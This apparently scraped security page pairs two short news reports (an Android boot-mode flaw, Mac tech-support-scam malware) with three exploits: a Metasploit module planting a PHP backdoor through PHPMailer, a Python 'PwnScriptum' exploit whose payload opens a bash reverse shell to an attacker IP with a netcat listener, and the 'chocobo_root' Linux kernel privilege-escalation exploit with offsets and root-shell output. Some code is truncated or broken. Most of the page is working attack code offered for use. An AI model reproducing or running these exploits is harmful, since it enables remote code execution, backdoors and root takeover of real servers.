MondoUnix Unix, Linux, FreeBSD, BSD, GNU, Kernel , RHEL, CentOS, Solaris, AIX, HP-UX, Mac OS X, Tru64, SCO UnixWare, Xenix, HOWTO, NETWORKING, IPV6


Google Patches Android Custom Boot Mode Vulnerability

Google Patches Android Custom Boot Mode Vulnerability

A high-risk Android custom boot mode vulnerability was one of many bugs patched by Google as part of its January Android Security Bulletin released earlier this week. On Thursday, the IBM security team that discovered the vulnerability disclosed details about the flaw which leaves Nexus 6 and P6 model handsets open to denial of service and elevation of privilege attacks.

According to IBM’s X-Force Application Security Research Team, the vulnerability (CVE-2016-8467) allows an attacker to use PC malware or malicious chargers to reboot a Nexus 6 or 6P device and implement a special boot configuration, or boot mode, which instructs Android to turn on various extra USB interfaces.

Those interfaces, according to Roee Hay and Michael Goberman, co-authors of the report, can be used by the attacker to gain access to the phone’s modem diagnostics interface where the adversary can manipulate functionality of the modem.

Most likely vectors for this type attack, Hay said, is via a USB cord that connects a Nexus device to a PC infected with malware, a physical attacker gains access to the device, or when a phone is plugged into a malicious charger designed to perform a so-called juice-jacking attack.

Triggering the Android vulnerability isn’t difficult, according to X-Force. “The PC malware or malicious charger can boot the Nexus 6/6P device with the special boot mode configuration if Android Debug Bridge (ADB) is enabled on the device… Once connected, the victim must authorize the PC or charger on the device if it wasn’t permanently authorized before the attack,” Hay and Goberman wrote.

Next, the attackers can issue four commands (see right) to reboot the device with the special boot mode that enables access to the advanced modem interface. “Every future boot from this point forward will have the boot mode configuration enabled. This means the attack is persistent and no longer requires ADB to run, although it still requires USB access,” according to the researchers.

When asked if a wider range of Android devices are vulnerable to these type attacks, IBM said tests were limited to the Nexus family of devices. Neither Samsung nor LG‘s January security bulletins list the (CVE-2016-8467) vulnerability highlighted in the X-force report.

Once attackers gain access to the modem’s diagnostic settings they can be rejiggered to allow for the interception of Long-Term Evolution (LTE) data. With that type of access, adversaries can intercept phone calls, find the exact GPS coordinates of devices, place phone calls, steal call information and access or change nonvolatile items or the EFS partition, X-Force wrote in its report.

While this vulnerability impacts Nexus 6, other P6 models are affected to a lesser degree because the modem diagnostics are disabled in the modem’s firmware, which prohibits the nefarious activities, according to X-Force. However, X-Force said, the vulnerability in 6P enables the Android Debug Bridge interface even if it was disabled in the developer settings user interface.

“With access to an ADB-authorized PC, a physical attacker could open an ADB session with the device and cause the ADB host running under the victim’s PC to RSA-sign the ADB authentication token even if the PC is locked,” according to X-Force. “Such an ADB connection would enable an attacker to install malware on the device.”

Researchers also warned of additional USB interfaces that attackers can access, such as the modem AT interface – also vulnerable in Nexus 6. “By accessing that interface, an attacker can send or eavesdrop on SMS messages and potentially bypass two-factor authentication,” Hay and Goberman wrote.

According to Google, the vulnerability in the bootloader could enable both a denial of service condition and an elevation of privilege attack. In the case of the elevation of privilege attack, the threat is only rated as moderate “because it is a local bypass of user interaction requirements (access to functionality that would normally require either user initiation or user permission).”

In their report Hay and Goberman also explain a second, less severe, vulnerability (CVE-2016-6678) impacting Nexus P, P6 models. The flaw is in the Motorola USBNet driver that could enable a local malicious application to access data outside of its permission levels. The issue was rated as moderate in the October Android Security Bulletin because it first requires compromising a privileged process, according to the Google bulletin.




Malware uses denial-of-service attack in attempt to crash Macs

mac malware

A tech support scam is targeting Mac users with unusual malware which tries to crash the system then encourages the victim to call a phony Apple support number in order to get the system restored to normal.

Victims are infected with the malware via a malicious email or by visiting a specially registered scam website. Cybersecurity researchers at Malwarebytes warn that these websites are particularly dangerous for Mac users running Safari because simply visiting one of the domains can execute the attack.

Once the malicious code has been triggered, it will first of all check to see which version of OS X the victim is using and then attempt to trigger a a denial-of-service attack by repeatedly opens draft emails.

The DDoS continues drafting new emails in individual windows until so many windows are running that the system crashes due to lack of memory. The subject line of the emails tells the user a virus has been detected and to call the tech support number.

There are also instances of the malicious software opening up iTunes without any user prompting and displaying the fraudulent phone number there.

While users running the most up to date version of the Apple operating system - macOS Sierra 10.12.2 - don't appear to be affected by the DDoS attack against the mail application, so users should patch their systems to ensure the most protection against the attacks

This is far from the first support scam to target web users, with Microsoft users also regularly targeted by cyber fraudsters. Microsoft itself has previously warned Windows users to remain vigilant when it comes to tech support scammers malware.

ZDNet contacted Apple for comment but had not received a reply at the time of publication.




PHPMailer Sendmail Argument Injection

# This module requires Metasploit:
# Current source:
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HttpClient
  def initialize(info = {})
      'Name'           => 'PHPMailer Sendmail Argument Injection',
      'Description'    => %q{
        PHPMailer versions up to and including 5.2.19 are affected by a
        vulnerability which can be leveraged by an attacker to write a file with
        partially controlled contents to an arbitrary location through injection
        of arguments that are passed to the sendmail binary. This module
        writes a payload to the web root of the webserver before then executing
        it with an HTTP request. The user running PHPMailer must have write
        access to the specified WEB_ROOT directory and successful exploitation
        can take a few minutes.
      'Author'         => [
        'Dawid Golunski',   # vulnerability discovery and original PoC
        'Spencer McIntyre'  # metasploit module
      'License'        => MSF_LICENSE,
      'References'     => [
        ['CVE', '2016-10033'],
        ['CVE', '2016-10045'],
        ['EDB', '40968'],
        ['EDB', '40969'],
        ['URL', ''],
        ['URL', '']
      'DisclosureDate' => 'Dec 26 2016',
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Payload'        => {'DisableNops' => true},
      'Targets'        => [
        ['PHPMailer <5.2.18', {}],
        ['PHPMailer 5.2.18 - 5.2.19', {}]
      'DefaultTarget'  => 0
      ['TARGETURI',  [true, 'Path to the application root', '/']),'TRIGGERURI', [false, 'Path to the uploaded payload', '']),'WEB_ROOT',   [true, 'Path to the web root', '/var/www'])
      ], self.class)
      ['WAIT_TIMEOUT', [true, 'Seconds to wait to trigger the payload', 300])
      ], self.class)
  def trigger(trigger_uri)
    print_status("Sleeping before requesting the payload from: #{trigger_uri}")
    page_found = false
    sleep_time = 10
    wait_time = datastore['WAIT_TIMEOUT']
    print_status("Waiting for up to #{wait_time} seconds to trigger the payload")
    while wait_time > 0
      wait_time -= sleep_time
      res = send_request_cgi(
        'method'   => 'GET',
        'uri'      => trigger_uri
      if res.nil?
        if page_found or session_created?
          print_good('Successfully triggered the payload')
      next unless res.code == 200
      if res.body.length == 0 and not page_found
        print_good('Successfully found the payload')
        page_found = true
  def exploit
    payload_file_name = "#{rand_text_alphanumeric(8)}.php"
    payload_file_path = "#{datastore['WEB_ROOT']}/#{payload_file_name}"
    if == 'PHPMailer <5.2.18'
      email = "\"#{rand_text_alphanumeric(4 + rand(8))}\\\" -OQueueDirectory=/tmp -X#{payload_file_path} #{rand_text_alphanumeric(4 + rand(8))}\"@#{rand_text_alphanumeric(4 + rand(8))}.com"
    elsif == 'PHPMailer 5.2.18 - 5.2.19'
      email = "\"#{rand_text_alphanumeric(4 + rand(8))}\\' -OQueueDirectory=/tmp -X#{payload_file_path} #{rand_text_alphanumeric(4 + rand(8))}\"@#{rand_text_alphanumeric(4 + rand(8))}.com"
      fail_with(Failure::NoTarget, 'The specified version is not supported')
    data =
    data.add_part('submit', nil, nil, 'form-data; name="action"')
    data.add_part("<?php eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>", nil, nil, 'form-data; name="name"')
    data.add_part(email, nil, nil, 'form-data; name="email"')
    data.add_part("#{rand_text_alphanumeric(2 + rand(20))}", nil, nil, 'form-data; name="message"')
    print_status("Writing the backdoor to #{payload_file_path}")
    res = send_request_cgi(
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri),
      'ctype'    => "multipart/form-data; boundary=#{data.bound}",
      'data'     => data.to_s
    trigger(normalize_uri(datastore['TRIGGERURI'].blank? ? target_uri : datastore['TRIGGERURI'], payload_file_name))



PHPMailer Zend-mail SwiftMailer Remote Code Execution

intro = """\033[94m 
    __                     __   __  __           __                 
   / /   ___  ____ _____ _/ /  / / / /___ ______/ /_____  __________
  / /   / _ \/ __ `/ __ `/ /  / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/
 / /___/  __/ /_/ / /_/ / /  / __  / /_/ / /__/ ,< /  __/ /  (__  ) 
/_____/\___/\__, /\__,_/_/  /_/ /_/\__,_/\___/_/|_|\___/_/  /____/  
PHPMailer / Zend-mail / SwiftMailer - Remote Code Execution Exploit
             a.k.a "PwnScriptum"
 CVE-2016-10033 + CVE-2016-10045 + CVE-2016-10034 + CVE-2016-10074
This PoC exploit aims to execute a reverse shell on the target in 
the context of the web-server user via vulnerable PHP email library.
Discovered and Coded by:
 Dawid Golunski
 t: @dawid_golunski for updates
P.$. For testing only! Don't break the Web ;) 
info = """
Limited (ver. 1.0)
[PoC Video]
See the the exploit in action at:
This exploit targets a common webapp component - Contact Form. 
It combines payloads for the following vulns:
1. PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)
2. PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045 / escapeshell bypass)
3. SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)
4. Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)
                                  [-d TARGET_UP_DIR] -ip ATTACKERS_IP
                                  [-p ATTACKERS_PORT] [--version]
                                  [--post-action POST_ACTION]
                                  [--post-name POST_NAME]
                                  [--post-email POST_EMAIL]
                                  [--post-msg POST_MSG]
Note, make sure the contact form matches the default field names (send/name/email/msg). 
Otherwise override with --post-msg=message_box for example.
import os
import argparse
import time
import urllib
import urllib2
import socket
import sys
# The Main Meat
print intro
# Show info
if '-H' in sys.argv:
    print info
# Parse input args
parser = argparse.ArgumentParser(prog='', description='PHPMailer / Zend-mail / SwiftMailer - RCE Exploit (a.k.a \'PwnScriptum\')\nDiscovered by Dawid Golunski (')
parser.add_argument('-H', action='store_true', default="false", required=False,    help='Full Help / Info Page')
parser.add_argument('-url', dest='WEBAPP_BASE_URL', required=True,  help='WebApp Base Url')
parser.add_argument('-cf',  dest='CONTACT_SCRIPT',  required=True,  help='Contact Form scriptname')
parser.add_argument('-d' ,  dest='TARGET_UP_DIR',   required=False, help='Target Upload Dir')
parser.add_argument('-ip',  dest='ATTACKERS_IP',    required=True,  help='Attackers Public IP for RevShell')
parser.add_argument('-p',   dest='ATTACKERS_PORT',  required=False, help='Attackers Port for RevShell listener')
parser.add_argument('--version', action='version', version='%(prog)s 1.0 Limited edition')
parser.add_argument('--post-action', dest='POST_ACTION',  required=False, help='Overrides POST "action" field name',         default="send")
parser.add_argument('--post-name',   dest='POST_NAME',    required=False, help='Overrides POST "name of sender" field name', default="name")
parser.add_argument('--post-email',  dest='POST_EMAIL',   required=False, help='Overrides POST "email" field name',          default="email")
parser.add_argument('--post-msg',    dest='POST_MSG',     required=False, help='Overrides POST "message" field name',        default="msg")
args = parser.parse_args()
# Preset vars
# Set Vars
if args.ATTACKERS_PORT is None:
    args.ATTACKERS_PORT = 8080
if args.TARGET_UP_DIR  is None:
    args.TARGET_UP_DIR = "upload"
# Build the target backdoor URL here (note the "random" pid bit to avoid php code collisions on multiple runs / multiple phpfile appends ;)
BACKDOOR_FILE = 'phpbackdoor' + str(os.getpid()) + '.php'
# Show params
print """[+] Setting vars to: \n
WEBAPP_BASE_URL     = [%s]
CONTACT_SCRIPT      = [%s]
TARGET_UP_DIR       = [%s]
ATTACKERS_IP        = [%s]
ATTACKERS_PORT      = [%s]
BACKDOOR_FILEl      = [%s]
print "[+] Choose your target / payload: "
print "\033[1;34m"
print """[1] PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)\n"""
print """[2] PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045)
            The escapeshellarg() bypass :)\n"""
print """[3] SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)\n"""
print """[4] Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)\n"""
print "\033[0m"
    target = int(raw_input('[?] Select target [1-2]: '))
except ValueError:
    print "Not a valid choice. Exiting\n"
if (target>4):
    print "No such target. Exiting\n"
if target == 1:
    # PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033)
    payload = '"attacker\\" -oQ/tmp/ -X%s/%s some"' % (args.TARGET_UP_DIR, BACKDOOR_FILE)
if target == 2:
    # Bypass / PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045)
    payload = "\"attacker\\' -oQ/tmp/ -X%s/%s  some\"" % (args.TARGET_UP_DIR, BACKDOOR_FILE)
if target == 3:
    # SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)
        payload = '"attacker\\" -oQ/tmp/ -X%s/%s "' % (args.TARGET_UP_DIR, BACKDOOR_FILE)
if target == 4:
    # Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)
        payload = '"attacker\\" -oQ/tmp/ -X%s/%s "' % (args.TARGET_UP_DIR, BACKDOOR_FILE)
print "\n[+] Generated mail() payload will upload the backdoor into the '%s' dir\n" % args.TARGET_UP_DIR
# PHP RCE code to be saved into the backdoor php file on the target in TARGET_UP_DIR. E.g:
# e.g: 
#RCE_PHP_CODE = "<?php phpinfo(); ?>" 
RCE_PHP_CODE = """<?php sleep(%d); system("/bin/bash -c 'nohup bash -i >/dev/tcp/%s/%s 0<&1 2>&1' ");  ?>""" % (TMOUT, args.ATTACKERS_IP, args.ATTACKERS_PORT) 
# The form names might need to be adjusted
post_fields = {'action': "%s" % args.POST_ACTION, "%s" % args.POST_NAME: 'Jas Fasola', "%s" % args.POST_EMAIL: payload, "%s" % args.POST_MSG: RCE_PHP_CODE}
# Attack
# Inject payload into PHPMailer / mail() via a Contact form. This should write out the backdoor
print "[+] Backdoor upload via the contact form at '%s'\n" % CONTACT_SCRIPT_URL
data = urllib.urlencode(post_fields)
req = urllib2.Request(CONTACT_SCRIPT_URL, data)
response = urllib2.urlopen(req)
the_page =
# Check if the backdoor was uploaded correctly.
# A little trick here. The urlopen should timeout at sleep(X)-1 if the backdoor ran fine
# So we catch the timeout to find out.
# Is it uploaded ? Try to execute the PHP backdoor and the Reverse Shell within it
print "[+] Checking for the backdoor at the URL '%s'\n" % BACKDOOR_URL
got_timeout = 0
http_err = 0
    urllib2.urlopen(BACKDOOR_URL, timeout = (TMOUT-1))
except urllib2.HTTPError as e:
    http_err = e.code
except socket.timeout as e:
    print "[*] \033[1;32mLooking good!\033[0m The sleep() worked by the looks of it :) \nUrlopen timed out just in time for the shell :)\n"
    got_timeout = 1
if (got_timeout != 1):
    print "[!] Something went wrong... Got error: [%d] \nTry another dir? Push through, don't give up! :)\n" % http_err
# Spawn the shell and wait for the sleep() PHP call to finish before /bin/bash is called
print "[+] We should get a shell if we got till here! Spawning netcat now! :)\n"
print "[+] \033[1;34mPlease tell me you're seeing this too... ;)\033[0m\n"
os.system("nc -v -l -p %d" % args.ATTACKERS_PORT)
print "\n[+] Shell closed\n"
print "\033[1;34mP.$. There's more to it :) Exiting, for now...\033[0m\n"



Linux Kernel 4.4.0 AF_PACKET Race Condition / Privilege Escalation

linux AF_PACKET race condition exploit
exploit for Ubuntu 16.04 x86_64
vroom vroom
user@ubuntu:~$ uname -a
Linux ubuntu 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user)
user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread
user@ubuntu:~$ ./chocobo_root
linux AF_PACKET race condition exploit by rebel
kernel version: 4.4.0-51-generic #72
proc_dostring = 0xffffffff81088090
modprobe_path = 0xffffffff81e48f80
register_sysctl_table = 0xffffffff812879a0
set_memory_rw = 0xffffffff8106f320
exploit starting
making vsyscall page writable..
new exploit attempt starting, jumping to 0xffffffff8106f320, arg=0xffffffffff600000
sockets allocated
removing barrier and spraying..
version switcher stopping, x = -1 (y = 174222, last val = 2)
current packet version = 0
pbd->hdr.bh1.offset_to_first_pkt = 48
*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
closing socket and verifying.......
vsyscall page altered!
stage 1 completed
registering new sysctl..
new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
sockets allocated
removing barrier and spraying..
version switcher stopping, x = -1 (y = 30773, last val = 0)
current packet version = 2
pbd->hdr.bh1.offset_to_first_pkt = 48
race not won
retrying stage..
new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
sockets allocated
removing barrier and spraying..
version switcher stopping, x = -1 (y = 133577, last val = 2)
current packet version = 0
pbd->hdr.bh1.offset_to_first_pkt = 48
*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
closing socket and verifying.......
sysctl added!
stage 2 completed
binary executed by kernel, launching rootshell
root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root),1000(user)
There are offsets included for older kernels, but they're untested
so be aware that this exploit will probably crash kernels older than 4.4.
tested on:
Ubuntu 16.04: 4.4.0-51-generic
Ubuntu 16.04: 4.4.0-47-generic
Ubuntu 16.04: 4.4.0-36-generic
Ubuntu 14.04: 4.4.0-47-generic #68~14.04.1-Ubuntu
Shoutouts to:
jsc for inspiration (
mcdelivery for delivering hotcakes and coffee
by rebel
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/wait.h>
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <poll.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/if_ether.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <linux/if_packet.h>
#include <pthread.h>
#include <linux/sched.h>
#include <netinet/tcp.h>
#include <sys/syscall.h>
#include <signal.h>
#include <sched.h>
#include <sys/utsname.h>
volatile int barrier = 1;
volatile int vers_switcher_done = 0;
struct offset {
    char *kernel_version;
    unsigned long proc_dostring;
    unsigned long modprobe_path;
    unsigned long register_sysctl_table;
    unsigned long set_memory_rw;
struct offset *off = NULL;
//99% of these offsets haven't actually been tested :)
struct offset offsets[] = {
    {"4.4.0-46-generic #67~14.04.1",0xffffffff810842f0,0xffffffff81e4b100,0xffffffff81274580,0xffffffff8106b880},
    {"4.4.0-47-generic #68~14.04.1",0,0,0,0},
    {"4.2.0-41-generic #48",0xffffffff81083470,0xffffffff81e48920,0xffffffff812775c0,0xffffffff8106c680},
    {"4.8.0-22-generic #24",0xffffffff8108ab70,0xffffffff81e47880,0xffffffff812b34b0,0xffffffff8106f0d0},
    {"4.2.0-34-generic #39",0xffffffff81082080,0xffffffff81c487e0,0xffffffff81274490,0xffffffff8106b5d0},
    {"4.2.0-30-generic #36",0xffffffff810820d0,0xffffffff81c487e0,0xffffffff812744e0,0xffffffff8106b620},
    {"4.2.0-16-generic #19",0xffffffff81081ac0,0xffffffff81c48680,0xffffffff812738f0,0xffffffff8106b110},
    {"4.2.0-17-generic #21",0,0,0,0},
    {"4.2.0-18-generic #22",0,0,0,0},
    {"4.2.0-19-generic #23~14.04.1",0xffffffff8107d640,0xffffffff81c497c0,0xffffffff8125de30,0xffffffff81067750},
    {"4.2.0-21-generic #25~14.04.1",0,0,0,0},
    {"4.2.0-30-generic #36~14.04.1",0xffffffff8107da40,0xffffffff81c4a8e0,0xffffffff8125dd40,0xffffffff81067b20},
    {"4.2.0-27-generic #32~14.04.1",0xffffffff8107dbe0,0xffffffff81c498c0,0xffffffff8125e420,0xffffffff81067c60},
    {"4.2.0-36-generic #42",0xffffffff81083430,0xffffffff81e488e0,0xffffffff81277380,0xffffffff8106c680},
    {"4.4.0-22-generic #40",0xffffffff81087d40,0xffffffff81e48f00,0xffffffff812864d0,0xffffffff8106f370},
    {"4.2.0-18-generic #22~14.04.1",0xffffffff8107d620,0xffffffff81c49780,0xffffffff8125dd10,0xffffffff81067760},
    {"4.4.0-34-generic #53",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286ed0,0xffffffff8106f370},
    {"4.2.0-22-generic #27",0xffffffff81081ad0,0xffffffff81c486c0,0xffffffff81273b20,0xffffffff8106b100},
    {"4.2.0-23-generic #28",0,0,0,0},
    {"4.2.0-25-generic #30",0,0,0,0},
    {"4.4.0-36-generic #55",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286e50,0xffffffff8106f360},
    {"4.2.0-42-generic #49",0xffffffff81083490,0xffffffff81e489a0,0xffffffff81277870,0xffffffff8106c680},
    {"4.4.0-31-generic #50",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286e90,0xffffffff8106f370},
    {"4.4.0-22-generic #40~14.04.1",0xffffffff81084250,0xffffffff81c4b080,0xffffffff81273de0,0xffffffff8106b9d0},
    {"4.2.0-38-generic #45",0xffffffff810833d0,0xffffffff81e488e0,0xffffffff81277410,0xffffffff8106c680},
    {"4.4.0-45-generic #66",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874c0,0xffffffff8106f320},
    {"4.2.0-36-generic #42~14.04.1",0xffffffff8107ffd0,0xffffffff81c499e0,0xffffffff81261ea0,0xffffffff81069d00},
    {"4.4.0-45-generic #66~14.04.1",0xffffffff81084260,0xffffffff81e4b100,0xffffffff81274340,0xffffffff8106b880},
    {"4.2.0-22-generic #27~14.04.1",0xffffffff8107d640,0xffffffff81c497c0,0xffffffff8125deb0,0xffffffff81067750},
    {"4.2.0-25-generic #30~14.04.1",0,0,0,0},
    {"4.2.0-23-generic #28~14.04.1",0,0,0,0},
    {"4.4.0-46-generic #67",0xffffffff81088040,0xffffffff81e48f80,0xffffffff81287800,0xffffffff8106f320},
    {"4.4.0-47-generic #68",0,0,0,0},
    {"4.4.0-34-generic #53~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c40,0xffffffff8106b880},
    {"4.4.0-36-generic #55~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c60,0xffffffff8106b890},
    {"4.4.0-31-generic #50~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c20,0xffffffff8106b880},
    {"4.2.0-38-generic #45~14.04.1",0xffffffff8107fdc0,0xffffffff81c4a9e0,0xffffffff81261540,0xffffffff81069bf0},
    {"4.2.0-35-generic #40",0xffffffff81083430,0xffffffff81e48860,0xffffffff81277240,0xffffffff8106c680},
    {"4.4.0-24-generic #43~14.04.1",0xffffffff81084120,0xffffffff81c4b080,0xffffffff812736f0,0xffffffff8106b880},
    {"4.4.0-21-generic #37",0xffffffff81087cf0,0xffffffff81e48e80,0xffffffff81286310,0xffffffff8106f370},
    {"4.2.0-34-generic #39~14.04.1",0xffffffff8107dc50,0xffffffff81c498e0,0xffffffff8125e830,0xffffffff81067c90},
    {"4.4.0-24-generic #43",0xffffffff81087e60,0xffffffff81e48f00,0xffffffff812868f0,0xffffffff8106f370},
    {"4.4.0-21-generic #37~14.04.1",0xffffffff81084220,0xffffffff81c4b000,0xffffffff81273a30,0xffffffff8106b9d0},
    {"4.2.0-41-generic #48~14.04.1",0xffffffff8107fe20,0xffffffff81c4aa20,0xffffffff812616c0,0xffffffff81069bf0},
    {"4.8.0-27-generic #29",0xffffffff8108ab70,0xffffffff81e47880,0xffffffff812b3490,0xffffffff8106f0d0},
    {"4.8.0-26-generic #28",0,0,0,0},
    {"4.4.0-38-generic #57",0xffffffff81087f70,0xffffffff81e48f80,0xffffffff81287470,0xffffffff8106f360},
    {"4.4.0-42-generic #62~14.04.1",0xffffffff81084260,0xffffffff81e4b100,0xffffffff81274300,0xffffffff8106b880},
    {"4.4.0-38-generic #57~14.04.1",0xffffffff81084210,0xffffffff81e4b100,0xffffffff812742e0,0xffffffff8106b890},
    {"4.4.0-49-generic #70",0xffffffff81088090,0xffffffff81e48f80,0xffffffff81287d40,0xffffffff8106f320},
    {"4.4.0-49-generic #70~14.04.1",0xffffffff81084350,0xffffffff81e4b100,0xffffffff81274b10,0xffffffff8106b880},
    {"4.2.0-21-generic #25",0xffffffff81081ad0,0xffffffff81c486c0,0xffffffff81273aa0,0xffffffff8106b100},
    {"4.2.0-19-generic #23",0,0,0,0},
    {"4.2.0-42-generic #49~14.04.1",0xffffffff8107fe20,0xffffffff81c4aaa0,0xffffffff81261980,0xffffffff81069bf0},
    {"4.4.0-43-generic #63",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874b0,0xffffffff8106f320},
    {"4.4.0-28-generic #47",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286df0,0xffffffff8106f370},
    {"4.4.0-28-generic #47~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273b70,0xffffffff8106b880},
    {"4.9.0-1-generic #2",0xffffffff8108bbe0,0xffffffff81e4ac20,0xffffffff812b8400,0xffffffff8106f390},
    {"4.8.0-28-generic #30",0xffffffff8108ae10,0xffffffff81e48b80,0xffffffff812b3690,0xffffffff8106f0e0},
    {"4.2.0-35-generic #40~14.04.1",0xffffffff8107fff0,0xffffffff81c49960,0xffffffff81262320,0xffffffff81069d20},
    {"4.2.0-27-generic #32",0xffffffff810820c0,0xffffffff81c487c0,0xffffffff81274150,0xffffffff8106b620},
    {"4.4.0-42-generic #62",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874a0,0xffffffff8106f320},
    {"4.4.0-51-generic #72",0xffffffff81088090,0xffffffff81e48f80,0xffffffff812879a0,0xffffffff8106f320},
//{"4.8.6-300.fc25.x86_64 #1 SMP Tue Nov 1 12:36:38 UTC 2016",0xffffffff9f0a8b30,0xffffffff9fe40940,0xffffffff9f2cfbf0,0xffffffff9f0663b0},
#define VSYSCALL 0xffffffffff600000
#define PAD 64
int pad_fds[PAD];
struct ctl_table {
    const char *procname;
    void *data;
    int maxlen;
    unsigned short mode;
    struct ctl_table *child;
    void *proc_handler;
    void *poll;
    void *extra1;
    void *extra2;
struct tpacket_req3 tp;
int sfd;
int mapped = 0;
struct timer_list {
    void *next;
    void *prev;
    unsigned long           expires;
    void                    (*function)(unsigned long);
    unsigned long           data;
    unsigned int                     flags;
    int                     slack;
void *setsockopt_thread(void *arg)
    while(barrier) {
    setsockopt(sfd, SOL_PACKET, PACKET_RX_RING, (void*) &tp, sizeof(tp));
    return NULL;
void *vers_switcher(void *arg)
    int val,x,y;
    while(barrier) {}
    while(1) {
        val = TPACKET_V1;
        x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
        if(x != 0) break;
        val = TPACKET_V3;
        x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
        if(x != 0) break;
    fprintf(stderr,"version switcher stopping, x = %d (y = %d, last val = %d)\n",x,y,val);
    vers_switcher_done = 1;
    return NULL;
#define BUFSIZE 1408
char exploitbuf[BUFSIZE];
void kmalloc(void)
        syscall(__NR_add_key, "user","wtf",exploitbuf,BUFSIZE-24,-2);
void pad_kmalloc(void)
    int x;
    for(x=0; x<PAD; x++)
        if(socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ARP)) == -1) {
            fprintf(stderr,"pad_kmalloc() socket error\n");
int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
    pthread_t setsockopt_thread_thread,a;
    int val;
    socklen_t l;
    struct timer_list *timer;
    int fd;
    struct tpacket_block_desc *pbd;
    int off;
    sigset_t set;
    sigaddset(&set, SIGSEGV);
    if(pthread_sigmask(SIG_BLOCK, &set, NULL) != 0) {
        fprintf(stderr,"couldn't set sigmask\n");
    fprintf(stderr,"new exploit attempt starting, jumping to %p, arg=%p\n",(void *)func,(void *)arg);
    if (fd==-1) {
        printf("target socket error\n");
    fprintf(stderr,"sockets allocated\n");
    val = TPACKET_V3;
    setsockopt(fd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
    tp.tp_block_size = CONF_RING_FRAMES * getpagesize();
    tp.tp_block_nr = 1;
    tp.tp_frame_size = getpagesize();
    tp.tp_frame_nr = CONF_RING_FRAMES;
//try to set the timeout to 10 seconds
//the default timeout might still be used though depending on when the race was won
    tp.tp_retire_blk_tov = 10000;
    sfd = fd;
    if(pthread_create(&setsockopt_thread_thread, NULL, setsockopt_thread, (void *)NULL)) {
        fprintf(stderr, "Error creating thread\n");
        return 1;
    pthread_create(&a, NULL, vers_switcher, (void *)NULL);
    fprintf(stderr,"removing barrier and spraying..\n");
    timer = (struct timer_list *)(exploitbuf+(0x6c*8)+6-8);
    timer->next = 0;
    timer->prev = 0;
    timer->expires = 4294943360;
    timer->function = (void *)func;
    timer->data = arg;
    timer->flags = 1;
    timer->slack = -1;
    barrier = 0;
    l = sizeof(val);
    getsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, &l);
    fprintf(stderr,"current packet version = %d\n",val);
    pbd = mmap(0, tp.tp_block_size * tp.tp_block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, sfd, 0);
    if(pbd == MAP_FAILED) {
        fprintf(stderr,"could not map pbd\n");
    else {
        off = pbd->hdr.bh1.offset_to_first_pkt;
        fprintf(stderr,"pbd->hdr.bh1.offset_to_first_pkt = %d\n",off);
    if(val == TPACKET_V1 && off != 0) {
        fprintf(stderr,"*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*\n");
    else {
        fprintf(stderr,"race not won\n");
    munmap(pbd, tp.tp_block_size * tp.tp_block_nr);
    pthread_create(&a, NULL, verification_func, (void *)NULL);
    fprintf(stderr,"please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.\n");
    fprintf(stderr,"closing socket and verifying..");
    fprintf(stderr,"all messages sent\n");
